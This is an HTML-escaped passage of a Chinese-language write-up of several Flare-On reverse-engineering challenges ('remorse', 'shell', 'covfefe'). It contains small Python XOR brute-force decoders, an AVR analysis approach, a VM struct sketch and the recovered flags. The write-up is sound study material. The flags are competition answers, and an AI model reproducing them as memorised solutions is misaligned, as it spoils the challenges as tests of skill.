&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;fpr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; open&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;tspe&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;quot;rb&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;read&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;q&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;&quot;&gt; int&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;(fpr)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;a&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; for&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;FFFF&lt;&#x2F;span&gt;&lt;span&gt;)]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; range&lt;&#x2F;span&gt;&lt;span&gt;(q)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    try&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        key&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; (fpr[ i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt; ]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;lt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; (fpr[ i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt; ]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; &amp;lt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        a[key]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;fpr[i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    except&lt;&#x2F;span&gt;&lt;span style=&quot;color: #39BAE6;&quot;&gt; IndexError&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;        print&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;Overflow with key = &lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;%d&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; and i = &lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;%d&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;%&lt;&#x2F;span&gt;&lt;span&gt;(key&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt;i))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;        break&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;#39;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;join&lt;&#x2F;span&gt;&lt;span&gt;([&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;chr&lt;&#x2F;span&gt;&lt;span&gt;(i)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; for&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span&gt; a[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;112&lt;&#x2F;span&gt;&lt;span&gt;]]))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;字符串是&lt;code&gt;Give a man a fire and he&#x27;ll be warm for a day. Set a man on fire and he&#x27;ll be warm for the rest of his life.&lt;&#x2F;code&gt;，SHA1是&lt;code&gt;5f1be3c9b081c40ddfc4a0238156008ee71e24a4&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;四步结束后，得到flag&lt;code&gt;pc_lo4d_l3tt3r_gl1tch@flare-on.com&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;提交于&lt;code&gt;October 7th, 10:14:55 PM, CST&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;remorse&quot;&gt;remorse&lt;&#x2F;h2&gt;
&lt;p&gt;文件名后缀是&lt;code&gt;ino.hex&lt;&#x2F;code&gt;，还有字符串&lt;code&gt;Arduino UNO&lt;&#x2F;code&gt;，应该要在板子上跑的。可惜我没有钱，所以就手动分析吧。&lt;&#x2F;p&gt;
&lt;p&gt;对于新的CPU，首先要掌握的有：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;架构、内存布局、SFR和指令集。官网有&lt;&#x2F;li&gt;
&lt;li&gt;调用约定。估计是GCC的，那就是&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;gcc.gnu.org&#x2F;wiki&#x2F;avr-gcc#Exceptions_to_the_Calling_Convention&quot;&gt;这里&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;用脑子思考而不是思维定势思考&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;写了&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;Github.com&#x2F;SilverBut&#x2F;avr_helper&quot;&gt;一些代码&lt;&#x2F;a&gt;用于辅助IDA和GDB调试（是的，有模拟器，不过我不会操控IO），此外IDA自带的Auto Commends功能也帮了不少忙。之后的事情绝大多数时间就是逆向，逆向和逆向，还会通过avr-gdb和avr模拟器认识一些常见的avr执行特征。最后在&lt;code&gt;0536&lt;&#x2F;code&gt;发现了一组函数，好像在加载什么东西，并用一个密钥异或，而这个密钥的来源和某个计时器的输出结果有关。索性爆破：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;b5&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;b5&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;86&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;b4&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;f4&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;b3&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;f1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;b0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;b0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;f1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;ed&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;80&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;bb&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;8f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;bf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;8d&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;c6&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;85&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;87&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;c0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;94&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;81&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;8c&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;q&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt; q&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;100&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;  print&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;%x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;: &lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;%s&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;%&lt;&#x2F;span&gt;&lt;span&gt;(q&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;#39;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;join&lt;&#x2F;span&gt;&lt;span&gt;([&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt;chr&lt;&#x2F;span&gt;&lt;span&gt;((p[i]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;^&lt;&#x2F;span&gt;&lt;span&gt;q)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt;i)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; for&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F07178;&quot;&gt; range&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;17&lt;&#x2F;span&gt;&lt;span&gt;)])))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后搜索&lt;code&gt;flare-on&lt;&#x2F;code&gt;，发现：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;da: op^q2n1qr4Aembsf,po-bpl&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;db: no_r3m0rs3@flare-on.com&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;dc: ij\k,t3st6;gs`q`*jm&#x2F;\rf&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;提交于&lt;code&gt;October 10th, 3:15:50 AM CST&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;shell&quot;&gt;shell&lt;&#x2F;h2&gt;
&lt;p&gt;第一组：设密文c是大小为&lt;code&gt;c[count][keylen]&lt;&#x2F;code&gt;的数组，密钥为w，明文为&lt;code&gt;p[count][keylen]&lt;&#x2F;code&gt;。那么：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;p[0] = c[0] ^ w&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;p[1] = c[1] ^ p[0] = c[1] ^ c[0] ^ w&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;p[2] = c[2] ^ p[1] = c[2] ^ c[1] ^ c[0] ^ w&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;不妨令&lt;code&gt;k[i] = c[0] ^ c[1] ^ ... ^ c[n-1] ^ c[n]&lt;&#x2F;code&gt;，则对任意&lt;code&gt;i&amp;lt;count&lt;&#x2F;code&gt;，有：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;p[i] = k[i] ^ w&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;且&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;p[i]全部为可显示字符&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;写脚本求解，可得到后面的，思路基本一致，都是爆破。&lt;&#x2F;p&gt;
&lt;p&gt;然而自己太胖，不能穿女装，码力不够，因此从Swings师傅那里偷了个flag，&lt;code&gt;th3_xOr_is_waaaay_too_w34k@flare-on.com&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;covfefe&quot;&gt;covfefe&lt;&#x2F;h2&gt;
&lt;p&gt;这个程序是用虚拟机保护的。虚拟机设计思路和&lt;code&gt;subfuscator&lt;&#x2F;code&gt;有相似之初，不了解这个的可以去看看&lt;code&gt;movfuscator&lt;&#x2F;code&gt;，就是用减法替代一切操作。&lt;&#x2F;p&gt;
&lt;p&gt;首先分析一下&lt;code&gt;401070&lt;&#x2F;code&gt;的主函数，我们可以知道这块vCPU可以这样描述：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;c&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;typedef&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; enum&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    SYSCALL_GET_CHAR&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    SYSCALL_PUT_CHAR&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;} SYSCALL_ID&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;typedef&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; struct&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    uint32 r0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;                       &#x2F;&#x2F;gpr r0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    uint32 syscall_args[SYSCALL_ID]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    uint32 syscall_flag[SYSCALL_ID]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt; &#x2F;&#x2F; 1 means being called, 0 means call finished&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;    char&lt;&#x2F;span&gt;&lt;span&gt; ROM_PART_A[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;134&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt;    char&lt;&#x2F;span&gt;&lt;span&gt; RAM_PART_A[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;150&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    uint32 sp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;                       &#x2F;&#x2F; point at first stack item and grow from lower to higher&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
